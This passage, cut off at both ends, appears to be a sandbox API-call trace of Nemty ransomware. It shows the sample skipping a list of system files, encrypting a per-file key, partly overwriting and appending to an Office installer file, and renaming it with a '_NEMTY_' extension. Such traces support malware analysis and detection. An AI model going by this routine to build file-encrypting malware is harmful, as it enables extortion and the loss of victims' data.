ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0048.097] lstrcmpiW (lpString1="VisioLR.cab", lpString2=".") returned 1 [0048.097] lstrcmpiW (lpString1="VisioLR.cab", lpString2="..") returned 1 [0048.097] lstrcmpiW (lpString1="VisioLR.cab", lpString2="...") returned 1 [0048.097] lstrcmpiW (lpString1="VisioLR.cab", lpString2="windows") returned -1 [0048.097] lstrcmpiW (lpString1="VisioLR.cab", lpString2="$RECYCLE.BIN") returned 1 [0048.098] lstrcmpiW (lpString1="VisioLR.cab", lpString2="rsa") returned 1 [0048.098] lstrcmpiW (lpString1="VisioLR.cab", lpString2="NTDETECT.COM") returned 1 [0048.098] lstrcmpiW (lpString1="VisioLR.cab", lpString2="ntldr") returned 1 [0048.098] lstrcmpiW (lpString1="VisioLR.cab", lpString2="MSDOS.SYS") returned 1 [0048.098] lstrcmpiW (lpString1="VisioLR.cab", lpString2="IO.SYS") returned 1 [0048.098] lstrcmpiW (lpString1="VisioLR.cab", lpString2="boot.ini") returned 1 [0048.098] lstrcmpiW (lpString1="VisioLR.cab", lpString2="boot.ini") returned 1 [0048.098] lstrcmpiW (lpString1="VisioLR.cab", lpString2="AUTOEXEC.BAT") returned 1 [0048.098] lstrcmpiW (lpString1="VisioLR.cab", lpString2="ntuser.dat") returned 1 [0048.098] lstrcmpiW (lpString1="VisioLR.cab", lpString2="desktop.ini") returned 1 [0048.098] lstrcmpiW (lpString1="VisioLR.cab", lpString2="CONFIG.SYS") returned 1 [0048.098] lstrcmpiW (lpString1="VisioLR.cab", lpString2="RECYCLER") returned 1 [0048.098] lstrcmpiW (lpString1="VisioLR.cab", lpString2="BOOTSECT.BAK") returned 1 [0048.098] lstrcmpiW (lpString1="VisioLR.cab", lpString2="bootmgr") returned 1 [0048.098] lstrcmpiW (lpString1="VisioLR.cab", lpString2="programdata") returned 1 [0048.098] lstrcmpiW (lpString1="VisioLR.cab", lpString2="appdata") returned 1 [0048.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioLR.cab", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioLR.cab", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisioLR.cab", lpUsedDefaultChar=0x0) returned 11 [0048.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioLR.cab", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioLR.cab", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisioLR.cab", lpUsedDefaultChar=0x0) returned 11 [0048.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioLR.cab", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioLR.cab", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisioLR.cab", lpUsedDefaultChar=0x0) returned 11 [0048.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioLR.cab", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioLR.cab", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisioLR.cab", lpUsedDefaultChar=0x0) returned 11 [0048.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0048.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94230 | out: hHeap=0x4f90000) returned 1 [0048.099] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2=".") returned 1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="..") returned 1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="...") returned 1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="windows") returned -1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="$RECYCLE.BIN") returned 1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="rsa") returned 1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="NTDETECT.COM") returned 1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="ntldr") returned 1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="MSDOS.SYS") returned 1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="IO.SYS") returned 1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="boot.ini") returned 1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="boot.ini") returned 1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="AUTOEXEC.BAT") returned 1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="ntuser.dat") returned 1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="desktop.ini") returned 1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="CONFIG.SYS") returned 1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="RECYCLER") returned 1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="BOOTSECT.BAK") returned 1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="bootmgr") returned 1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="programdata") returned 1 [0048.099] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="appdata") returned 1 [0048.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioMUI.msi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioMUI.msi", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisioMUI.msi", lpUsedDefaultChar=0x0) returned 12 [0048.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioMUI.msi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioMUI.msi", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisioMUI.msi", lpUsedDefaultChar=0x0) returned 12 [0048.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioMUI.msi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioMUI.msi", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisioMUI.msi", lpUsedDefaultChar=0x0) returned 12 [0048.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioMUI.msi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioMUI.msi", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisioMUI.msi", lpUsedDefaultChar=0x0) returned 12 [0048.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0048.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0048.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.100] Sleep (dwMilliseconds=0x5) [0048.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0609d70, dwHighDateTime=0x1d561e7)) [0048.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0609d70, dwHighDateTime=0x1d561e7)) [0048.108] GetLastError () returned 0x0 [0048.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.108] GetLastError () returned 0x0 [0048.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.108] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.108] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.109] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.109] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="+p6Zp9fnVvPRA9r4L9wa0ihnXiO7/AW1eEwQtPsKIDkQiNyBGmm81m3hiYDARmZB\r\nbJjgAClOQif0eeezmbTAjaFzgOrsQTnP9rxDu1rBwjLAha/JqBdMNDgJeTBWN+eH\r\nTUf7Uh8nPRgTUHVhYEJ+tMaIWhO2aRhUztOcTmdUn62yKAQyVp858gKEuBXksIHQ\r\nAQ5BUUL7Vto6XZhehhD/iR9yiIoXvNnQ5j0su13ZrXqQXOqbtI5GLJSJP4G2OTxt\r\nhcKmk+hW2ZplFm9hasiMdUWx0QSRNm7mCcNiUPg91OPr9vczR1trDXCMbRfXktgg\r\nSZJIbqOsdCzLVdAAQyeESw==\r\n", pcchString=0x653ef9c) returned 1 [0048.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.109] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.109] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=2797568) returned 1 [0048.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0048.109] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.109] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0048.119] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.119] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0048.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.120] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=2797568, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2ab000 [0048.120] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.120] CloseHandle (hObject=0x3c8) returned 1 [0048.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.187] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.187] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0048.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.188] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi._nemty_kgobjgd_")) returned 1 [0048.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.188] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0048.188] lstrcmpiW (lpString1="VisioMUI.xml", lpString2=".") returned 1 [0048.188] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="..") returned 1 [0048.188] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="...") returned 1 [0048.188] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="windows") returned -1 [0048.188] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="$RECYCLE.BIN") returned 1 [0048.188] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="rsa") returned 1 [0048.189] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="NTDETECT.COM") returned 1 [0048.189] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="ntldr") returned 1 [0048.189] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="MSDOS.SYS") returned 1 [0048.189] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="IO.SYS") returned 1 [0048.189] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="boot.ini") returned 1 [0048.189] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="boot.ini") returned 1 [0048.189] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="AUTOEXEC.BAT") returned 1 [0048.189] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="ntuser.dat") returned 1 [0048.189] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="desktop.ini") returned 1 [0048.189] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="CONFIG.SYS") returned 1 [0048.189] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="RECYCLER") returned 1 [0048.189] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="BOOTSECT.BAK") returned 1 [0048.189] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="bootmgr") returned 1 [0048.189] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="programdata") returned 1 [0048.189] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="appdata") returned 1 [0048.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioMUI.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioMUI.xml", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisioMUI.xml", lpUsedDefaultChar=0x0) returned 12 [0048.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioMUI.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioMUI.xml", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisioMUI.xml", lpUsedDefaultChar=0x0) returned 12 [0048.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioMUI.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioMUI.xml", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisioMUI.xml", lpUsedDefaultChar=0x0) returned 12 [0048.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioMUI.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisioMUI.xml", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisioMUI.xml", lpUsedDefaultChar=0x0) returned 12 [0048.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0048.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0048.190] Sleep (dwMilliseconds=0x5) [0048.202] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd06ee5b0, dwHighDateTime=0x1d561e7)) [0048.202] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd06ee5b0, dwHighDateTime=0x1d561e7)) [0048.202] GetLastError () returned 0x0 [0048.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.202] GetLastError () returned 0x0 [0048.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.202] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.202] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.202] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 